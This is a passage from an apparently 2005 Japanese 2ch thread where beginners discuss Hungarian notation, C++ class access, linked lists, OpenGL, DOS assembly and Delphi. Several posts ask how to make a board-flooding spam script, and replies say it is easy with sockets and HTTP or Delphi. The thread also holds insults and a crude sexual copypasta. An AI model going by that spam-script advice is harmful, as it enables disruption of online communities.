とゆうかまさにピッタリなスレがあるからそっち池
232デフォルトの名無しさん:2005/11/20(日) 14:44:16
ハンガリアンはVBまでだっけか。
233229:2005/11/20(日) 14:55:04
>>230-232
サンクスです。
ハンガリアンはあんまりスマートな命名規則じゃないっていうのはよく聞きますね。
でも私はこれしか知らないぽ。MFCもいまだにハンガリアンだし・・
いまはラクダがなんちゃらっていうのが流行りなかな・・
234デフォルトの名無しさん:2005/11/20(日) 15:23:49
ハンガリアン、便利だと思うがなあ、集団でソースいじるときは重宝してた
235デフォルトの名無しさん:2005/11/20(日) 15:28:05
てか、.NET Framework作ったのってDelphi開発者でそ。
前身のVJ++が既にそうだったし。

.NETはハードウェアなどの概念を抽象化した仮想マシン・処理系だから
型を意識させる必要そのものがないと思う。
236デフォルトの名無しさん:2005/11/20(日) 15:37:50
やねうらおさんの本に
ハンガリアンを使わねばプログラマにあらず
みたいなこと書かれてたから、それ読んだ後から
ハンガリアンっぽい名前にしてます。。
237デフォルトの名無しさん:2005/11/20(日) 15:38:15
型を強烈に意識しないといけないC言語では、ハンガリアンは有効な手段ってことなのかな。
238デフォルトの名無しさん:2005/11/20(日) 15:49:32
C勉強中だがとくにハンガリアン知らなくて困ることが無いんだが
239デフォルトの名無しさん:2005/11/20(日) 16:11:46
あと、ハンガリアン使ってたらなんとなく
頭よさげなプログラムに見えるw
240デフォルトの名無しさん:2005/11/20(日) 17:26:15
>>238
それ、一人で規模の小さいものつくるんなら必要ないかもしれんが・・・・
241デフォルトの名無しさん:2005/11/20(日) 17:27:11
プログラミングのやり方教えろォ_________________
http://ex14.2ch.net/test/read.cgi/news4vip/1132474262/
242デフォルトの名無しさん:2005/11/20(日) 17:50:08
先入れ先出し型のリストを作ってみました。
http://www.vipper.org/vip144170.txt

馬鹿なのでイマイチ理解不能 orz...
なんとかこれを双方向にして
シューティングの弾とか管理するクラスにしたいんだけど。。
243デフォルトの名無しさん:2005/11/20(日) 17:56:17
>>242
原理だけ理解しておいて、STL使ったほうが楽だよ
244デフォルトの名無しさん:2005/11/20(日) 18:01:18
>>243
そですね。STLのお勉強はまだしてませんが、
最後はそういうことになるかと思います。

でもでも、やぱ自分でサクサク作れるぐらいになりたぃぃ。
今知恵熱出てる (ノД`)
245デフォルトの名無しさん:2005/11/20(日) 18:31:47
暗号化・復号化プログラムできたお
まったく需要ないが自己満足ですはい。
246デフォルトの名無しさん:2005/11/20(日) 18:36:33
>>245
昨日のやつ?
247デフォルトの名無しさん:2005/11/20(日) 18:40:19
>>246
そうそう爆撃機
248デフォルトの名無しさん:2005/11/20(日) 21:28:19
>>242
ヘッダに書いてるようにそれはリストじゃなくてキューだから
FIFOのリストというとややこしいのでキューと呼んだ方がいいお
249デフォルトの名無しさん:2005/11/20(日) 21:56:06
>>237
逆にC(とC++)は型に関して厳しいからハンガリアンは不要という説もある。
俺は基本的にpとhなんたら位しか使わない。
250デフォルトの名無しさん:2005/11/20(日) 23:32:38
ハンガリアンの規則はペゾルドに載ってる
MSの天才プログラマが好んで使ってたらしいから
凡人は下手に真似しないほうがいいのかも
251デフォルトの名無しさん:2005/11/21(月) 01:18:00
ハンガリアンってやつが何なのか俺に四文字熟語で教えてくれ
252デフォルトの名無しさん:2005/11/21(月) 01:19:29
>>251
命名規則
253デフォルトの名無しさん:2005/11/21(月) 01:20:08
愛玩太鼠
254デフォルトの名無しさん:2005/11/21(月) 01:20:33
>>253
それはジャンガリアンだ
255デフォルトの名無しさん:2005/11/21(月) 01:21:00
ガキ大将
256デフォルトの名無しさん:2005/11/21(月) 01:21:38
洪牙利人。ma~お約束
257デフォルトの名無しさん:2005/11/21(月) 11:54:47
テポドンってC言語でも作れるってきいたんだけど
258デフォルトの名無しさん:2005/11/21(月) 12:03:43
#include "tepodong.h"

int main(){
 Tepodong tepodong = new Tepodong();
 tepodong.target = Cityname.Tokyo;
 tepodong.fire();
 return 0;
}
259デフォルトの名無しさん:2005/11/21(月) 12:11:55
>>258
思いっきりC++な件
260デフォルトの名無しさん:2005/11/21(月) 12:13:04
ついでに deleteし忘れてるし。
261デフォルトの名無しさん:2005/11/21(月) 12:17:33
たれ流し上等ってことじゃね?
262デフォルトの名無しさん:2005/11/21(月) 12:59:22
ド低能スレ向きだな
263デフォルトの名無しさん:2005/11/21(月) 13:08:26
newでインスタンス作ってるのにアロー演算子使ってないから
コンパイルすらできんな
264デフォルトの名無しさん:2005/11/21(月) 13:15:54
よく分かんないけど最初Tepodong *tepodongってしなくていいの?
265デフォルトの名無しさん:2005/11/21(月) 13:17:24
ここはVIPPERの秘密研究所だし
266デフォルトの名無しさん:2005/11/21(月) 13:19:51
D使いが慣れないことをしたらこうなるという見本ですた(´・ω・`)
267デフォルトの名無しさん:2005/11/21(月) 13:54:00
このままだとVIPは馴れ合いカテゴリ行きだな
268デフォルトの名無しさん:2005/11/21(月) 13:56:41
爆発するから解放する必要ねーよwww
269デフォルトの名無しさん:2005/11/21(月) 14:14:15
VIPつまんね
VIPがつまらなくなったのは馴れ合いスレが増えたからでなく、単に厨房が増えたせいだという事に気が付いた
でもVIP以外やることないニート
270デフォルトの名無しさん:2005/11/21(月) 14:19:11
VIP楽しス
VIPが楽しいのは馴れ合いスレにいるからではなく、単に俺が厨房だったせいだということに気が付いた
ゆえにVIP以外やらないニート
271デフォルトの名無しさん:2005/11/21(月) 16:07:49
働けばいいじゃn
272デフォルトの名無しさん:2005/11/21(月) 19:03:28
>>248
どもです m(__)m
FIFOがなんなのかわかんないんでググりましたよ!
Last In First Out のやつはスタックと呼んだ方がいいですかね。

双方向のリストは「双方向リスト」でおk?
273デフォルトの名無しさん:2005/11/21(月) 19:47:12
VIPでFileSystem作ってみませんか?
274デフォルトの名無しさん:2005/11/21(月) 20:11:19
なんのために?
275デフォルトの名無しさん:2005/11/21(月) 20:15:16
なんか便利ツール作れよ

C言語で簡単に拡張ができるツールだよ
276デフォルトの名無しさん:2005/11/21(月) 20:17:22
>>274
例えば大量のファイルを高速に扱えるFileSystemとか。
277デフォルトの名無しさん:2005/11/21(月) 20:26:16
>>275
性器拡張なんてエロイな
278デフォルトの名無しさん:2005/11/21(月) 20:27:27
つバイアグラ
279デフォルトの名無しさん:2005/11/21(月) 20:30:22
>>278
【読書の秋】性器拡張part20【ひぎぃの秋】
http://sakura03.bbspink.com/test/read.cgi/ascii2d/1128957158/
280デフォルトの名無しさん:2005/11/21(月) 22:22:37
超初心者勉強中です><
他のクラスのデータメンバにアクセスしたいのだけど。
AクラスとBクラスは包含関係ではなくて、だけどBクラスは一時的にAクラスのあるデータメンバを知りたい。
例えば
class A
{
private:
double array[3];

}
って感じなときに
mainでAクラスのインスタンスとBクラスのインスタンスを作ったと後
BクラスのメソッドからAクラスのarray[3]を知るにはどうgetarrayを書けばいいのかしら。
Aクラスのデータメンバにbr* myBって持たせて
mainで
B myB;ってインスタンスを作ってもこの二つは別物だよね??
bakada ore

281デフォルトの名無しさん:2005/11/21(月) 22:26:00
>>280
フツーにメンバ関数じゃダメなのか?
282デフォルトの名無しさん:2005/11/21(月) 22:45:12
class A{
 private double array[3];
 double[3] getArray(){
  return array;
 }
} a;

class B{
 double[3] getArray(){
  return a.getArray();
 }
}

こんな感じじゃね?
283デフォルトの名無しさん:2005/11/21(月) 23:16:09
BにAのポインタ持たせて

class A{
private:
double array[3];
public:
double *getArray(){
return array;
}
};

class B{
private:
A *myA;
public:
void SetClassA( A *p ){
myA = p;
}
double *getArray(){
return myA->getArray();
}
};

メインで

A myA;
B myB;

B.SetClassA( &myA );
とかやればB.getArrayでおkじゃね?
284デフォルトの名無しさん:2005/11/21(月) 23:17:37
あ、すまん
メインは
myB.SetClassA( &myA );

myB.getArrayだ
285デフォルトの名無しさん:2005/11/21(月) 23:34:33
C言語さっぱりな俺に
ポインタというものはどういうときに使うのか、素晴らしいところなどを
三行で説明していただけないか
286デフォルトの名無しさん:2005/11/21(月) 23:35:25


287デフォルトの名無しさん:2005/11/22(火) 00:06:22
例えばだ、お前が友達にVIPのスレを紹介するときに、VIPのスレのログ本体を渡すのではなく、VIPのスレのログのURLを渡した方が効率がいいだろ?
それと一緒で、関数とかに変数の中身を渡すより変数のアドレスを渡した方が効率がいい。
ぬるぽ
288デフォルトの名無しさん:2005/11/22(火) 00:10:19
>>280 普通に ^^

class A {
 double m_doArray[3];
public:
 A () {
  m_doArray[0] = 1.1;
  m_doArray[1] = 2.2;
  m_doArray[2] = 3.2;
 }
  // m_doArrayのアドレスを返す関数
 double * GetArray () { return m_doArray; }
};

class B {
public:
  // Aのm_doArrayのアドレスを受け取って表示する関数
 void DispAArray (const double *doAArray) {
  printf("%f\n", doAArray[0]);
  printf("%f\n", doAArray[1]);
  printf("%f\n", doAArray[2]);
 }
};

int main ()
{
 A a;
 B b;
 b.DispAArray(a.GetArray());
 return 0;
}
289デフォルトの名無しさん:2005/11/22(火) 00:29:53
ポインタはまぁ参照のような物。
使わぬ方が良い過去の遺産品。
あるオブジェクトは値渡しした方が早いかもしれないし、あって無いような物。
ポインタや参照渡しの判断はコンパイラにさせた方が良い。
290280:2005/11/22(火) 00:32:42
>>281
>>282
>>283
>>288
ありがとう><
参考にしてやってみる。卒論終わるのかな・・・
291デフォルトの名無しさん:2005/11/22(火) 00:37:48
>>289 VS Cゲンガー ファイッ!
292デフォルトの名無しさん:2005/11/22(火) 00:56:19
>>289
どうやって配列参照させるわけ
293280:2005/11/22(火) 01:03:03
なんとかできた。arrayが多次元配列だと・・・頑張ってみよう
294デフォルトの名無しさん:2005/11/22(火) 01:14:37
>>292
配列で扱えばよくね?
295デフォルトの名無しさん:2005/11/22(火) 01:17:20
配列で扱う、っていまいち意味が分からない
C言語にARRAY型はないし、配列を値渡しするのは無理だと思うが
296デフォルトの名無しさん:2005/11/22(火) 01:25:23
初心者

何系の本見ればいいの??勉強するには
おすすめ教えて!!
297デフォルトの名無しさん:2005/11/22(火) 01:26:18
太陽系
298296:2005/11/22(火) 01:30:29
うんなわけねーだろ!!
初心者はPerllか?
299デフォルトの名無しさん:2005/11/22(火) 01:33:42
何を作りたいかorやりたいかによる
300298:2005/11/22(火) 01:38:36
>>299
なるほど、すくりぷと荒し
301デフォルトの名無しさん:2005/11/22(火) 01:39:19
ファミリーベーシックでもやってろ
302デフォルトの名無しさん:2005/11/22(火) 01:49:00
ファミリーベーシック今手に入らんだろw
ググって画像見たが・・・

難易度だけ教えてほしいな、かなり難しいのかい?
荒しプログラムって
303デフォルトの名無しさん:2005/11/22(火) 01:50:59
Delphiならすぐ作れる
ここの元スレでも作ってただろ
304デフォルトの名無しさん:2005/11/22(火) 01:53:21
このスレ今日が初。
Delphi←ググってみる
アリガd!
305デフォルトの名無しさん:2005/11/22(火) 02:28:32
>>295
配列の形で参照たわしするんだよ

void unko( char vip[] );

ぶっちゃけポインタだけどな
306デフォルトの名無しさん:2005/11/22(火) 05:07:52
http://www.vipper.org/vip145045.zip

スレ一覧の取得まで出来た
307デフォルトの名無しさん:2005/11/22(火) 05:54:59
暇だ
なんか課題無い?
308デフォルトの名無しさん:2005/11/22(火) 06:44:19
ポインタについて聞いた者だが
すごく参考になった。ありがd
309デフォルトの名無しさん:2005/11/22(火) 07:07:06
#include <glut.h>

void display(void)
{
    glClear(GL_COLOR_BUFFER_BIT);

    //V
    glBegin(GL_LINE_STRIP);
    glVertex2d(-0.9, 0.9);
    glVertex2d(-0.8, -0.9);
    glVertex2d(-0.7, 0.9);
    glEnd();

    //I
    glBegin(GL_LINES);
    
    glVertex2d(-0.6, 0.9);
    glVertex2d(-0.4, 0.9);

    glVertex2d(-0.5, 0.9);
    glVertex2d(-0.5, -0.9);

    glVertex2d(-0.6, -0.9);
    glVertex2d(-0.4, -0.9);

    glEnd();

    //P
    glBegin(GL_LINES);
    glVertex2d(-0.3, 0.9);
    glVertex2d(-0.3, -0.9);
310デフォルトの名無しさん:2005/11/22(火) 07:07:37
    glVertex2d(-0.3, 0.9);
    glVertex2d(-0.1, 0.4);

    glVertex2d(-0.1, 0.4);
    glVertex2d(-0.3, -0.1);
    glEnd();

    glFlush();
}

int main(int argc, char *argv[])
{
    glutInit(&argc, argv);
    glutInitDisplayMode(GLUT_RGBA);
    glutCreateWindow(argv[0]);
    glutDisplayFunc(display);
    glClearColor(0.0, 0.0, 0.0, 0.0);
    glutMainLoop();
    return 0;
}
311デフォルトの名無しさん:2005/11/22(火) 07:10:42
ttp://up.viploader.net/pic/src/viploader15571.jpg

前スレで↑こういうのはOpenGLで作るって教えてもらったので始めてみる
前途多難ス(`・ω・´)
312デフォルトの名無しさん:2005/11/22(火) 07:22:47
ネトゲも前ズレなのか・・・
313デフォルトの名無しさん:2005/11/22(火) 08:00:05
荒らしスクリプトは簡単過ぎて死ぬほど萎える。
んなもんHTTP/1.1のRFC読んでソケットいじれりゃ誰でも作れるんだよ。
くだらんもの作るな。
314デフォルトの名無しさん:2005/11/22(火) 09:21:54
315デフォルトの名無しさん:2005/11/22(火) 09:26:05
>>314
それ、解答無いのが致命的
316デフォルトの名無しさん:2005/11/22(火) 10:38:38
>>305
うんポインタだよね
317デフォルトの名無しさん:2005/11/22(火) 16:57:02
>>313
FTPクライアントなんか作ってみるか?
318デフォルトの名無しさん:2005/11/22(火) 17:07:51
>>317
今はなでしこで簡単に作れるそうだ
319デフォルトの名無しさん:2005/11/22(火) 17:39:35
ちょwwwVIPPER臭い発動したらここVIPPERいなくなんじゃねwwww
320デフォルトの名無しさん:2005/11/22(火) 18:00:03
VIPのプログラムスレどうなった
321デフォルトの名無しさん:2005/11/22(火) 18:05:55
test
322デフォルトの名無しさん:2005/11/22(火) 18:15:29
VIPのプログラムスレからきますた
323デフォルトの名無しさん:2005/11/22(火) 18:21:53
なんかVIPで実験してるらしい
324デフォルトの名無しさん:2005/11/22(火) 18:25:27
今のVIPじゃプログラムの勉強もする気にもならん
325デフォルトの名無しさん:2005/11/22(火) 18:32:23
プログラムスレ
http://ex14.2ch.net/test/read.cgi/news4vip/1132650896/

あるじゃんww
今日は何時までもつか・・
326デフォルトの名無しさん:2005/11/22(火) 18:57:51
VIPに書き込むと他板に書き込めなくなるらしいな
327デフォルトの名無しさん:2005/11/22(火) 19:11:33
プログラミングについて質問なんですがいいですか?
プログラミングってなんですか?
328デフォルトの名無しさん:2005/11/22(火) 19:12:57
>>327
これは酷い
329デフォルトの名無しさん:2005/11/22(火) 19:33:36
>>327
お疲れのようですね。
今日は早く寝たほうがいい。
330デフォルトの名無しさん:2005/11/22(火) 19:44:50
>>327
気持ちは分かる。
331デフォルトの名無しさん:2005/11/22(火) 19:47:53
Cに慣れるとHSPできなくならね?('A`)
332デフォルトの名無しさん:2005/11/22(火) 19:50:21
HSPってホット・スープ・プロポーズだっけ?
333デフォルトの名無しさん:2005/11/22(火) 20:06:20
CになれてDelphiの使いにくいことといったら山の如し。
Delphiのほうが簡単だけど。
334デフォルトの名無しさん:2005/11/22(火) 20:07:12
>>331
Cに慣れつつも、講義でやらされてるPascalを普通に出来てる俺がいるから安心汁
Cでできることが出来なくて無性に腹立つがな('A`#)
335デフォルトの名無しさん:2005/11/23(水) 01:04:28
その次はオブジェクト指向へ移行する(できる)かが大きな課題だね
C言語やってからオブジェクト指向へってのは結構つまづき易いし、
最悪、理解できずに難癖付け出す輩もいる


オブジェクト指向は使えば使うほど開発効率あがるから、
いろんなものを大量生産できて楽しいお
336デフォルトの名無しさん:2005/11/23(水) 01:20:54
>>335
そこで憂鬱本ですよ
あれはとてもわかりやすくていい

中々良書の見つからない設計段階を重視しつつも実装段階まで踏み込んでるし
337デフォルトの名無しさん:2005/11/23(水) 06:23:08
むじゅい・・
338デフォルトの名無しさん:2005/11/23(水) 07:21:21
やっと双方向リストが動いたよ〜 (ノω`)・゚・。。
ttp://www.vipper.org/vip145667.txt

計算があきらかに複雑になってるので、
もうちょっと練らねば・・
339デフォルトの名無しさん:2005/11/23(水) 08:02:06
>>335
つまづく→×
つまずく→○
340デフォルトの名無しさん:2005/11/23(水) 09:47:07
>>335
んな馬鹿な。
オブジェクト指向は使えば使うほど依存度が増えて開発効率下がるよ。
使わなくて済むときにはOO使わないのがよいプログラム。
341デフォルトの名無しさん:2005/11/23(水) 10:38:40
ここを見てC言語を始めたお。
そしたら今日やっと計算ドリル(足し引き掛け割り選択、問題数選択)
の様な物を作れるまでになった。皆に感謝するお( ^ω^)
342デフォルトの名無しさん:2005/11/23(水) 11:06:29
脳みそ絞って限界まで計算減らしたけど
前とあんま変わらんかった。激しく読みにくい orz
汎用性のまるで無い双方向リストクラス
ttp://www.vipper.org/vip145691.txt

もうバグらなかったらいいってことにして、次に進む ヽ(`Д´)ノ
次は実用に耐えるだけの汎用性を考えなきゃ。
あー、どうしよ。。

>>336
おぶじぇくと志向っての興味あるんですが、
憂鬱本ってなんですか ><
343デフォルトの名無しさん:2005/11/23(水) 11:13:37
憂鬱なプログラマのためのオブジェクト指向開発講座
C++による実践的ソフトウェア構築入門
DDJ Selection
Tucker (著)
ttp://www.amazon.co.jp/exec/obidos/ASIN/4881356194/250-6494379-9438634

あら、すみません。これのことですかね。
「憂鬱本」でググったら普通に出てきちゃったw

アマゾンでも評価高いですね。
344デフォルトの名無しさん:2005/11/23(水) 12:09:58
>>342
汎用性を考えるとさらに複雑になるんだよなぁ
345デフォルトの名無しさん:2005/11/23(水) 12:18:31
unix環境でC++が普及しないのは何でですか
ハカーたちはオブジェクト指向なんか使わなくても引数・返却値・ポインタを駆使してオブジェクト指向と同様でかつ高速なコードを書くみたいな事きいたんですけど
346デフォルトの名無しさん:2005/11/23(水) 12:36:04
347デフォルトの名無しさん:2005/11/23(水) 12:37:07
C++を下手に使うと一枚岩のでっかいプログラムになって、
融通効かなくなるのよね。MFCなんかがいい例。
348デフォルトの名無しさん:2005/11/23(水) 12:39:16
OOとは直接関係ないけど、テンプレートはいいよ。
継承全く使わず総称だけでもC++使う価値あり。
>>342みたいなのは、std::listとstd:string組み合わせるだけで
リストの実装なんか何もわからなくても安全・高速・汎用的な
文字列リスト型ができるわけだし。
なにがいいかって、標準に従ってればドキュメント書かなくても
いいのが一番素晴らしいよなぁ〜
349デフォルトの名無しさん:2005/11/23(水) 12:49:52
僕にはCとPerlで十分です
350デフォルトの名無しさん:2005/11/23(水) 13:22:56
C++が遅いってイメージが大きいけど
Cを基準にして最悪でも+5%までに抑えるように設計されてるとか

>>340,347
それはどちらも下手な使い方をした例であって
下手な使い方を挙げたらきりがないお

>>348のいうのはベターCだお
351デフォルトの名無しさん:2005/11/23(水) 13:54:29
総称プログラミングをベターCとか言われると、
STL/boost使いはかなりカチンとくるよ!
352デフォルトの名無しさん:2005/11/23(水) 14:20:28
>>351
すまなかった
上2行すっ飛ばして、3行目以降を指して>>348としてますた(ノ∀`)
353デフォルトの名無しさん:2005/11/23(水) 14:49:29
>>348
STLを初めとするC++標準ライブラリは確かに素晴らしいけど
双方向リストぐらいは一度自力で実装してみないとダメな罠
一回自力で作れば、それぞれのデータ構造の利点・欠点も分かるだろうしな
354デフォルトの名無しさん:2005/11/23(水) 15:59:50
オブジェクト指向な書き方しても毎回ほぼ1から書いてるんだけど変?
355デフォルトの名無しさん:2005/11/23(水) 16:15:10
って言うかバカ
356デフォルトの名無しさん:2005/11/23(水) 16:22:05
>>355
赤面しながら視線を逸らしてそのセリフを言うとツンデレっぽいぞ!
357デフォルトの名無しさん:2005/11/23(水) 16:30:08
     ∩___∩
     | ノ     ヽ
     /   (゚)  (゚)ヽ 
     |  ////( _●_)ミ 
    彡、    |∪| l     って言うかバカ
     ヽ    ヽノ / 
     /´  ヽ、r ̄
     r  ヽ、  ) 
     ヽ、  ヽヽ
     と二_ノ_ノ
358デフォルトの名無しさん:2005/11/23(水) 16:31:15
問題
catコマンドを書け。
ファイルの出力に低水準入出力を使うこと。
359デフォルトの名無しさん:2005/11/23(水) 16:32:27
org 0x0100

main:
push func
ret
int 0x20

func:
mov dx, msg
mov ah, 0x09
int 0x21
ret

msg db "Func",0x0A,"$"

アセンブリでやってみたお
nasmでアセンブルして欲しいお
360デフォルトの名無しさん:2005/11/23(水) 16:32:53
>>358のcatじゃないからね
361デフォルトの名無しさん:2005/11/23(水) 16:48:16
他スレでDelphiが超嫌われてるっぽいんだけど
そんなにだめかな?
362デフォルトの名無しさん:2005/11/23(水) 16:49:36
2ちゃんねらーの言う事を信用しては駄目だ!
363デフォルトの名無しさん:2005/11/23(水) 16:50:11
>>361
Pascalが理解できる(できている)ならいいと思うが
364デフォルトの名無しさん:2005/11/23(水) 16:50:33
Delphiは普通にいい言語でしょ
365デフォルトの名無しさん:2005/11/23(水) 17:13:40
>>362
あなたの言うことも信用しちゃダメなんですね
366デフォルトの名無しさん:2005/11/23(水) 17:14:20
>>365
そうだお(^ω^;)
367デフォルトの名無しさん:2005/11/23(水) 17:14:56
>>365
自分自身も信じちゃダメだぞ☆
368デフォルトの名無しさん:2005/11/23(水) 17:22:48
>>363
やりだしたのつい最近なんですけどわかり易くて楽しかったからいいなってw
>>364
そうですよね。ありがとうございます。
369デフォルトの名無しさん:2005/11/23(水) 17:38:13
>>364
あんな自由度の低い言語の何処がいいんだよ
C/C++>>超えられない崖>>Java/VB/C#・・・>>>Asm/BASIC>>超えられないクレバス>>Delphi/Pascal
370デフォルトの名無しさん:2005/11/23(水) 17:40:11
つまり、結論としてはVBAが一番ってことですね
371デフォルトの名無しさん:2005/11/23(水) 17:43:24
誰も信じちゃダメだお(^ω^)
漏れはAsmマンセーだけどな!
372デフォルトの名無しさん:2005/11/23(水) 17:43:55
なでしこ最強
373デフォルトの名無しさん:2005/11/23(水) 17:45:40
>>372
あれ前使ってたが、ごちゃごちゃしててわかんない
374デフォルトの名無しさん:2005/11/23(水) 17:45:46
>>372
織田信長のほうが強いに決まってるだろ
375デフォルトの名無しさん:2005/11/23(水) 17:47:31
>>359の奴がどうなってんのかわかんないお(^ω^;)
376デフォルトの名無しさん:2005/11/23(水) 17:51:12
>>369
アセンブリでも使ってろ^^^
377デフォルトの名無しさん:2005/11/23(水) 17:52:08
>>375
func:がファンクションコール9番を呼んで「Func」って表示してるんだと思うお
main:のpushに何の意味があるのかは分からないお(;^ω^)
378デフォルトの名無しさん:2005/11/23(水) 17:54:13
main:のretもよくわからない・・・
379デフォルトの名無しさん:2005/11/23(水) 17:57:06
>>377 >>378
call命令使わず呼んでるのか?
380デフォルトの名無しさん:2005/11/23(水) 17:57:17
あ、pushとretでfunc呼ぶのか
callを分解したようなもんか?
381デフォルトの名無しさん:2005/11/23(水) 17:59:29
あぁ、そういうことか
retがスタックからポップしたアドレスをIPにセットするのを利用して
func呼んでるわけね


ぶっちゃけ無駄じゃね?(;^ω^)
382デフォルトの名無しさん:2005/11/23(水) 17:59:43
たぶんそうだな・・・
383デフォルトの名無しさん:2005/11/23(水) 18:00:45
>>381
例えば悪意のある解析者に対しての錯乱とかw
384デフォルトの名無しさん:2005/11/23(水) 18:02:36
>>383
うはwwwwwwwwwおkwwwwwwww

所でnasmでアセンブルしても実行形式ファイルができないんだが(;^ω^)
385デフォルトの名無しさん:2005/11/23(水) 18:04:00
>>384
0x0100番地から始まってるからcom形式じゃね?
386デフォルトの名無しさん:2005/11/23(水) 18:06:13
>>385
comに変更してみたお
>指定されたデバイス、バス、またはファイルにアクセスできません。アクセス許可がない可能性があります。

うはwwwwwwおkwwwwwww(;^ω^)
387デフォルトの名無しさん:2005/11/23(水) 18:13:10
>>369
ある程度以上の規模のプログラムを自分で書いたことがあれば
わかるんだけど、自由度の少ない言語は それと引き換えに
安全性を買っているんだよ。だから自由度が少ない=うんこ というのは
乱暴な考えだよ。 悔い改めろ。
388デフォルトの名無しさん:2005/11/23(水) 18:15:39
Delphiって最強だと思うよ
お手軽で高速でサイズも小さくなるし、コンパイルも早いし
Cしかつかったけどないけど
389デフォルトの名無しさん:2005/11/23(水) 18:18:49
388だけど最後の行はスルーしてくれ(^お^)
390デフォルトの名無しさん:2005/11/23(水) 18:21:55
>>386
ttp://www.vipper.org/vip145850.png
動いたからSSだお
391デフォルトの名無しさん:2005/11/23(水) 18:42:08
C++VB 初めてプログラム板来た初心者スレ delphi hsp
http://pc8.2ch.net/test/read.cgi/tech/1099112351/
392デフォルトの名無しさん:2005/11/23(水) 18:43:38
>VisualC++   UNIXOSはこれで書いてる。プログラム作り難い。ny作者がGUIに凝る為bcbに逃げた実績あり。
すげぇ
UNIXってVisual C++って書いてたのか
393デフォルトの名無しさん:2005/11/23(水) 18:44:51
WinネイティブなUNIXもあることだし
394デフォルトの名無しさん:2005/11/23(水) 18:46:19
gccじゃないのか・・・
395デフォルトの名無しさん:2005/11/23(水) 18:56:54
Windowsだって一応Linux程度にはUnixだろ。
BSD系ほどではないが。
396デフォルトの名無しさん:2005/11/23(水) 18:58:30
>>394
をいをいwwwww
UNIXOSを作成する過程で出来上がったのが初期のC言語コンパイラってだけだろ。
ここでgccの話持ち出してくるのは、>>392の引用と程度はかわらんぜwwww
397デフォルトの名無しさん:2005/11/23(水) 18:58:49
POSIX準拠らしいしな>Win2k
398デフォルトの名無しさん:2005/11/23(水) 19:04:49
>>396
ただ単にOS作るのに使うコンパイラの話じゃないのか
399デフォルトの名無しさん:2005/11/23(水) 19:06:42
Windows NT系がPOSIX準拠なのは、
なんでも米国政府が使うコンピュータに搭載するOSはPOSIX準拠でないといけないというのが発端らしい。
400デフォルトの名無しさん:2005/11/23(水) 19:10:58
POSIX準拠ってただのPOSIXサブシステムじゃん
こんなのUnixライクですらないよ
401デフォルトの名無しさん:2005/11/23(水) 19:48:07
↑見た目でしか判断できないヤツ
402デフォルトの名無しさん:2005/11/23(水) 19:55:55
↓違いの分かる男
403デフォルトの名無しさん:2005/11/23(水) 19:57:24
むかし9801使ってた頃TurboPascal+AsmでSTG作ったことあるけど、
その後Cを触ってPascalで作った事を後悔した。
404デフォルトの名無しさん:2005/11/23(水) 20:01:15
いまどきテンプレートもない言語で大規模アプリなんかつくれね〜よ

>ny作者がGUIに凝る為bcbに逃げた実績あり。
あの程度のGUIでBCB/VCLに頼らなきゃならない作者のが問題だろ〜
405デフォルトの名無しさん:2005/11/23(水) 20:35:13
>>404
頼るっていうか利用してるだけだろ。
楽に出来るところは楽にやったほうがいいにきまってる。
406デフォルトの名無しさん:2005/11/23(水) 20:44:00
>>401
ばーか
死ね
かす
うんこ
しね
407デフォルトの名無しさん:2005/11/23(水) 20:46:24
>>406
そう言う事言ってると本当に見かけでしか判断できない奴になるぞw
408デフォルトの名無しさん:2005/11/23(水) 20:52:00
POSIXサブシステムをインストールしてるだけでPOSIX準拠じゃねーよ
かす
うんこ
かす
かす
409デフォルトの名無しさん:2005/11/23(水) 20:53:08
410デフォルトの名無しさん:2005/11/23(水) 20:53:32
Windowsって何で書かれてるの?
Cって聞いたんだけど
411デフォルトの名無しさん:2005/11/23(水) 20:54:34
>>410
漏れもCって聞いた
なんかwindowsのバグってアドレスに場所間違えただけらしいよ
412デフォルトの名無しさん:2005/11/23(水) 20:58:21
C++も聞いたことある
413デフォルトの名無しさん:2005/11/23(水) 21:00:06
Fortranも聞いたことある
414デフォルトの名無しさん:2005/11/23(水) 21:02:58
ソースみろよ
415デフォルトの名無しさん:2005/11/23(水) 21:11:44
政府の要請じゃねえと見せねえよ
416デフォルトの名無しさん:2005/11/23(水) 21:12:35
Services for UNIX 3.5 ホーム
http://www.microsoft.com/japan/windows/sfu/
417デフォルトの名無しさん:2005/11/23(水) 21:12:36
日本政府が要請したら見せてくれるの?
日本じゃ無理じゃね?
418デフォルトの名無しさん:2005/11/23(水) 21:15:59
microsoft社員呼んで来い
419デフォルトの名無しさん:2005/11/23(水) 21:19:28
東大にWindowsのソースの一部あるだろ
420デフォルトの名無しさん:2005/11/23(水) 21:20:07
421デフォルトの名無しさん:2005/11/23(水) 21:20:31
リークしたソースをネットで公開してる奴いなかったっけ
422デフォルトの名無しさん:2005/11/23(水) 21:23:38
Winnyで探せばいいだろ
http://www.nipponham.co.jp/winny/
423デフォルトの名無しさん:2005/11/23(水) 21:26:27
424デフォルトの名無しさん:2005/11/23(水) 21:26:35
>>420
夢夢詐欺か
425デフォルトの名無しさん:2005/11/23(水) 21:27:45
今、学校ではセックスの授業がある。でも僕はそれがとっても苦手だった。お父さんが時々パソコンでオナニーをしているのを
見るけど、なんか、ちんぷんかんぷん。こんな難しいこと僕にはできないよ、って思ってた。でもこの前、調べ学習で
インターネットを使う宿題が出たとき、お父さんが「アナリスクは難しくないんだよ」 って、いろんなことを教えてくれたんだ。
フリスクの使い方や子供の作り方、お母さんに内緒でちんちんの弄り方も覚えちゃった。
うん、やってみると案外僕にもできるかもしれない ! アナリスクを覚えてからは、2ちゃんねるがとっても楽しくなってきた。
苦手な尻有だって、声優の聞き分けだって僕に任せてって感じ。なんか、いろんなことがしたくなってきた !
わからないことや知らないことは、ママに聞けばいいんだね。
426デフォルトの名無しさん:2005/11/23(水) 21:31:50
SFUとcygwinってどっちがいい?
427デフォルトの名無しさん:2005/11/23(水) 21:39:10
>>426
MSLinux使っとけば間違いない
428デフォルトの名無しさん:2005/11/23(水) 21:45:48
Linuxって使う場面ないんだけど
429デフォルトの名無しさん:2005/11/23(水) 21:47:25
>>427
公式サイトみてきたけどなんかぺんぎんが冷たくなってた
430デフォルトの名無しさん:2005/11/23(水) 21:47:47
>>428
GCC使うときとか
431デフォルトの名無しさん:2005/11/23(水) 21:48:37
>>430
なるほど
432デフォルトの名無しさん:2005/11/23(水) 21:50:00
GCCって使う場面ないんだけど
433デフォルトの名無しさん:2005/11/23(水) 21:51:59
>>432
Linux使うときとか
434デフォルトの名無しさん:2005/11/23(水) 21:53:11
Linuxって使う場面ないんだけど
435デフォルトの名無しさん:2005/11/23(水) 21:53:22
